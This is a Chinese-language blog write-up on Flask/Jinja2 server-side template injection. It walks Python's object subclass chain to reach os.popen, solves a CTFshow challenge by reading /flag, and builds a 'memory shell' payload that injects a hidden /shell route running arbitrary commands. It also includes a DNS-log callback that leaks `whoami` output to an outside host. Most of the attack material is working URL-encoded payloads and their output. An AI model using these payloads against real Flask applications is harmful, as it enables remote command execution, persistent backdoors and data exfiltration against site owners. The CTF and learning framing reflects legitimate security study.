从SSTI模板注入到内存马

又是逃课的一天,(挂着网课来写博客)

内存马的概念经常被提到,HW面试,还是校招都有问到,之前接触不是很多,总结一波。

目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法

image-20220910153326416

payload

在SSTI中我们要做的就两个:

  • 执行命令
  • 获取文件内容

所以我们要做的实际上就是实现这两种效果

这里我写一个payload 可见只穿payload执行了whoami命令,那么我们要来分析一下这串payload为什么可以成功执行命令。

1
2
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

魔术方法

这些被叫做内建属性,当Python运行起来直接就可以用

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的所有类,方法在解析时按照元组的顺序解析。
  • __bases__:以元组的形式返回一个类所直接继承的类。根类
  • __base__:以字符串形式返回一个类所直接继承的类。根类
  • __subclasses__:返回 type 对象方法
  • __init__:类的初始化方法 (构造方法)
  • __globals__:函数会以字典类型返回当前位置的全部全局变量

继承关系

Python万物皆对象,而class用户返回该对象所属的类,比如字符串的对象为字符串对象,所属的类为<class 'str'>

image-20220909145047665

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

<class 'str'>类又属于 <class 'type'>

image-20220909150002179

接下来我们可以通过bases或者mro来获取到object基类。

<class 'object'>相当于整个树的跟

image-20220909153204537

然后可以从这个根对象下去寻找其他子类

漏洞利用

接下来我们看一下 base后的子类都有什么。

1
print(''.__class__.__base__.__subclasses__())

image-20220909154331900

有点多我们统计一下长度

1
2
3
>>> c = ''.__class__.__base__.__subclasses__()
>>> len(c)
174

在我的环境中子类有174个,整理格式查看下子类详情如下

1
2
3
>>> for i in range(174):
... print(i, c[i].__name__)
...

image-20220909205401515

遍历查找带有warning的子类

1
2
3
4
5
6
7
8
>>> for i in range(174):
... n = c[i].__name__
... if n.find('warning') > -1:
... print(i,n)
...
134 catch_warnings
>>> print(''.__class__.__base__.__subclasses__()[134])
<class 'warnings.catch_warnings'>

至于为什么找 warnings咱们后面说

image-20220909212128337

在Python中 有了__init__方法,在调用类的时候,会首先调用__init__ 方法。

1
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

加上__globals__ 返回当前位置所有全局变量

1
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

把全局变量粘贴到文本文档里方便查看 发现了全局变量sys

image-20220909213445017

到这里我们就属于一步步找到了sys模块

sys.modules 用于返回当前已导入(加载)的所有模块名和模块对象

·sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块

程序在导入某个模块时,会首先查找sys.modules中是否包含此模块名,包含的话python会直接到字典中查找,从而加快了程序运行的速度,若不存在则找到后将模块加载到内存`

modules['os'] 将os加载到当前内存

1
2
>>> import sys
>>> print(sys.modules)
1
2
3
4
5
6
7
>>> import sys
>>> test = sys.modules["os"]
>>> test.popen("whoami")
<os._wrap_close object at 0x1036473c8>
>>> test.popen("whoami").read()
'sch0lar\n'
>>>

大致利用链是这样的,但是很多时候并不固定,不一定要找warnings.catch_warnings子类,只要子类里导入了sys os等可执行命令的模块都可以,思路都差不多

1
2
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

CTFshow

CTFshow上面SSTI的题目

1
http://fe492b04-95e1-4b73-844c-9a3e627842fc.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()[1].__init__.__globals__}}

初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用__init__.__globals__来看看有没有os module或者其他的可以读写文件的。我们抓包遍历这个1-400查找有无可进行命令执行的子类。

img

位置在132的子类已经导入了os模块,既然导入了os模块,我们也就可以执行命令了

查看一下子类详情

1
name={{%27%27.__class__.__base__.__subclasses__()[132]}}

image-20220910095918316

发现它属于os模块,既然他是os模块里面的类那我们就不用那么麻烦了。

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

image-20220910100445218

我们本地打开os模块看一看

image-20220910100558512

可见也 import 了sys模块,我们也可以用如下payload

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}

不过显然没这个必要。

使用Flask内置函数

上题做法有很多 我们也可以利用内置函数去实现漏洞利用

  • url_for
  • get_flashed_messages
  • g
  • request
  • namespace
  • lipsum
  • range
  • session
  • get_flashed_messages
  • cycler
  • config

比如

1
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

内存马

Python 内存马利用Flask框架中SSTI注入来实现, Flask框架中在web应用模板渲染的过程中用到render_template_string进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python内存马的注入.

原payload

1
2
3
4
5
6
7
8
9
10
11
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

还是利用上面的ctfshow环境

1
?name={{url_for.__globals__[%27__builtins__%27][%27eval%27](%20"app.add_url_rule(%20%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27shell%27)).read()%20)",%20{%20%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%20%27app%27:url_for.__globals__[%27current_app%27]%20}%20)}}

image-20221107195644850

接下来我们拆开分析一下内存马的构成

url_for.__globals__['__builtins__']['eval']这一截Payload, url_forFlask的一个内置函数, 通过Flask内置函数可以调用其__globals__属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules, 可以看到这里是支持__builtins__的.

image-20221107200839504

url_for不是必须的,可以替换为很多flask的内置函数。

Python中为什么我们直接可以使用一些内置函数如:str() int() dir() eval() exec()

因为Python解释器第一次启动的时候 __builtins__ 就已经在命名空间了

而所有内置功能都在__builtins__模块中,所以我们不用import的情况下也可以直接使用一些函数。

image-20221107202232273

__builtins__模块的内建函数中是存在evalexec等命令执行函数的。

因为存在命令执行函数,我们直接调用看一下

1
?name{{url_for.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).system(%27ping%20`whoami`.anvusi.dnslog.cn%27)")}}

image-20221107151854936

接着再来看看app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())这一截Payload. 这部分是动态添加了一条路由, 而处理该路由的函数是个由lambda关键字定义的匿名函数.

再来看看'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}这一截Payload. _request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即上文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.

到此, 大致逻辑基本就梳理清晰了, eval函数的功能即动态创建一条路由, 并在后面指明了所需变量的全局命名空间, 保证app_request_ctx_stack都可以被找到.